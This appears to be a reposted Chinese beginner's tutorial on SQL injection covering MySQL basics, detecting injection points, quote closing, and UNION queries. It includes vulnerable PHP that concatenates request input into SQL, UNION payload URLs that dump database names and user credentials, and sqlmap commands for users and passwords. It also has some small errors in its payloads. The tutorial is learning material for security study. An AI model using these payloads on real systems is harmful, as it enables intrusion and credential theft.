SQL注入入门
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入入门相关的知识,希望对你有一定的参考价值。
9块9的SQL注入公开课笔记目录
SQL注入简介
SQL注入是一种将SQL代码添加到输入参数中传递到SQL服务器解析并执行的一种方法
SQL注入产生条件:
- 有传递参数
- 参数传入到数据库中
- 在数据库中执行
MySQL入门
information_schema数据库
-
MySQL大致分为两类,MySQL5.0以上及以下
MySQL5.0以上会增加一个information_schema系统数据库
-
information_schema系统数据库
在mysql中把information_schema看作是一个数据库,确切说是信息数据库,其中保存着关于mysql服务器维护的所有其他数据库信息
- SCHEMATA表
? 提供当前mysql实例中所有数据库信息
- TABLES表
提供了关于数据库中表的信息,详细表述了某个数据库中所有表的信息
- COLUMNS表
提供了表中的列信息,详细描述了某张表的所有列以及每个列的信息
-
mysql库下的user表中存放的是所有登录mysql数据库的用户名和密码
下列sqlmap语句都是查询的mysql库下的user表的里的列信息
sqlmap -u "xxx?id=1" --current-user //查询当前登录用户 sqlmap -u "xxx?id=1" --users //查询所以登录该数据库的用户名 sqlmap -u "xxx?id=1" --passwords //查询用户密码通常为sqlmd5加密
select语句
-
select语句在数据库中作用于查询
select * from test.users //查询test库下的users表中的所有数据 select username from test.users //查询test库下的users表中username的列数据 select * from test.users where id=1 //查询test库下的users表中id为1的数据 select * from test.users where address=‘china‘ and username=‘lzx‘ //查询test库下的users表中address为china并且username为lzx的数据
以最后一个语句举例:
? select * from test.users where address=‘china‘ and username=‘lzx‘
? select * from test.users 代表查询的位置,查询test库下users表中的所有数据
? where 在哪 后面需要加上查询的条件
? address=‘china‘ test库下users表中address列为China的数据
? and 和、并且 有多个查询条件时
? username=‘lzx’ test库下users表中username列为lzx的数据
在较多的数据中查询,用到多个条件会使查询的结果更加准确
假设下面这个表格就是我们要查的数据,如果只用到了address=china的话会查出来三个数据,但是我们要查询的是address=china并且username=lzx的数据,所有需要用两个条件来进行查询
id | address | username |
---|---|---|
1 | china | lzx |
2 | China | abc |
3 | China | def |
and逻辑
两边的条件同为true的时候整体表示正确,若有一个为false则整体为false
还是根据上面的表格来进行分析,随便写一个语句
select * from test.users where id=1 and username=lzx
刚才我们提到了and左右两边的条件有逻辑规则,上面的句子我们的两个条件就是id跟username
现在这个语句是成立的,两边条件都是true,直接查询可以查询出来数据
现在我们把一个条件改成错误的
select * from test.users where id=1 and username=xxx
这样的话两边的条件一个为true一个为false,这样是查不出来数据的会报错
两个条件都是true这个语句才是true,若有一个条件为false则整体语句为false
判断注入点
我们通常会构造错误的sql语句来判断网站是否存在注入(‘ and =1 and 1=2)
select * from users where id=1 (id=1 后面的这个1就是从前端传递的参数),这是正常的语句
如果把参数改成 id=1‘ 那么就会报错,因为 ‘ 属于字符串,字符串被代入查询了
还有就是id=1 and 1=1 这样的语句两边条件成立就是可以查询到数据的
如果是id=1 and 1=2 这样的两个条件不成立会报错查询不到数据
一般通过上面这三个步骤就可以判断是否存在注入点
闭合
注入一般可以分为数字型跟字符型
select * from users where id=1
select * from users where username=‘lzx‘
如果我们想在第二个语句后面加上and1=1这样语句就会报错,需要进行闭合
select * from users where username=‘lzx and 1=1‘ 报错
我们需要执行的是username=lzx,所以我们需要让and1=1在单引号外面执行
select * from users where username=‘lzx’ and 1=1‘(注意单引号加的位置)但是多了一个单引号
这时候可以用注释符号来解决
select * from users where username=‘lzx and 1=1#‘ (#号)
select * from users where username=‘lzx‘ and 1=1 -- ‘ (俩横线+空格)
通过闭合这两句都是可执行的
order by语句
order by 排序语句 默认升序排序
select * from test.users order by 1
//根据表格的第一列排序
select * from test.users order by 2
//根据表格第二列排序
select * from test.users order by 3
//根据表格第三列排序
id | age | name |
---|---|---|
1 | 18 | NULL |
2 | 22 | a |
3 | 26 | b |
union语句
union 联合查询语句
union内部的select语句必须拥有相同数量的列,列也必须拥有相似的数据类型,每条select语句中的列的顺序必须相同
id | username | password |
---|---|---|
1 | admin | 123456 |
2 | sa | 33333 |
3 | root | 11111 |
select username from users union select password from users
//查询users表中username列和password列的数据
username |
---|
admin |
root |
sa |
11111 |
123456 |
33333 |
select * from users union select 1,1,1 from users
id | username | password |
---|---|---|
1 | admin | 123456 |
2 | sa | 33333 |
3 | root | 11111 |
1 | 1 | 1 |
插入的数据应该与列数一致,现在是三列出入插入的数据是4个就会报错
PHP基础入门
打开php文件的条件:
? 电脑装有php环境
? 需要有服务器(apache,iis,nginx)进行解析,可以使用 phpstudy、phpstorm
变量规则
- 变量以$符号开头,后面是变量名称
- 变量名称必须以字母或下划线开头
- 变量名称不能以数字开头
- 变量名称只能包含字母数字
- 变量名称只对大小写敏感
<?php
echo "hello world";
?>
$ _GET与$ _POST
$id=$_GET[‘id‘];
$id=$_POST[‘id‘];
mysqli_connect()
$con=mysqli_connect("localhost","root","root","test");
代入查询
$sql="select * from users where id=$id";
$result = mysqli_query($con,$sql);
注入讲解
判断是否存在注入
注入查询
-
information_schema系统数据库
在mysql中把information_schema看作是一个数据库,确切说是信息数据库,其中保存着关于mysql服务器维护的所有其他数据库信息
- SCHEMATA表
? 提供当前mysql实例中所有数据库信息
-
TABLES表
提供了关于数据库中表的信息,详细表述了某个数据库中所有表的信息
-
COLUMNS表
提供了表中的列信息,详细描述了某张表的所有列以及每个列的信息
-
加上limit参数避免查询的数据太长无法显示,limit参数从0开始计算
-
http://url/sql_id.php?id=-1 union select 1,2,3,4,5,6 方便查看输出的数据
-
http://url/sql_id.php?id=-1 union select 1,database(),3,4,5,6 查询数据库名称
-
http://url/sql_id.php?id=-1 union select (select schema_name from information_schema.schemata limit 0,1),2,3,4,5,6
//查询information_schema库下的schemata表中的schema_name列下的第一个数据
-
http://url/sql_id.php?id=-1 union select 1,(select table_name from information_schema.tables where table_schema=‘test‘ limit 0,1),3,4,5,6
//查询information_schema库下的tables表中的table_name列下的第一个数据
-
http://url/sql_id.php?id=-1 union select 1,(select colunm_name from information_schema.columns where table_schema=‘test‘ and table_name=‘users limit 0,1),3,4,5,6
//查询information_schema库下的columns表中的column_name列下的第一个数据
-
http://url/sql_id.php?id=-1 union select 1,(select username from test.users limit 0,1),(select password from test.users limit 0,1),3,4,5,6
//查询test库下的users表中的username列的第一个数据,查询test库下的users表中的password列的第一个数据
注:个人笔记,如果有理解错误或者写的不严谨的地方欢迎读者老爷们告诉我
以上是关于SQL注入入门的主要内容,如果未能解决你的问题,请参考以下文章